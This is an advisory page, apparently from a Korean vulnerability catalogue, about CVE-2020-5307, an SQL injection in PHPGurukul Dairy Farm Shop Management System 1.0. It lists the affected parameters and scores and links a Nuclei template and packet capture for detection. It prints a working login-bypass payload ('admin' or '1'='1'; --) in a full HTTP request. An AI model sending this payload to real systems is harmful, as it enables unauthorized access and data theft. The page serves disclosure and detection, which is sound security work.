🔙 목록으로 돌아가기

CVE-2020-5307: PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection

TitlePHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the PHPGurukul Dairy Farm Shop Management System 1.0.
CVSS Score9.8
EPSS Score0.80522
CVE IDCVE-2020-5307
CWE IDCWE-89
Tags cve cve2020 sqli edb phpgurukul vuln

🔍 Vulnerability Description

PHPGurukul Dairy Farm Shop Management System 1.0 is vulnerable to SQL injection, as demonstrated by the username parameter in index.php, the category and CategoryCode parameters in add-category.php, the CompanyName parameter in add-company.php, and the ProductName and ProductPrice parameters in add-product.php.

🌐 HTTP Request

POST /dfsms/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-5307.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-5307.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A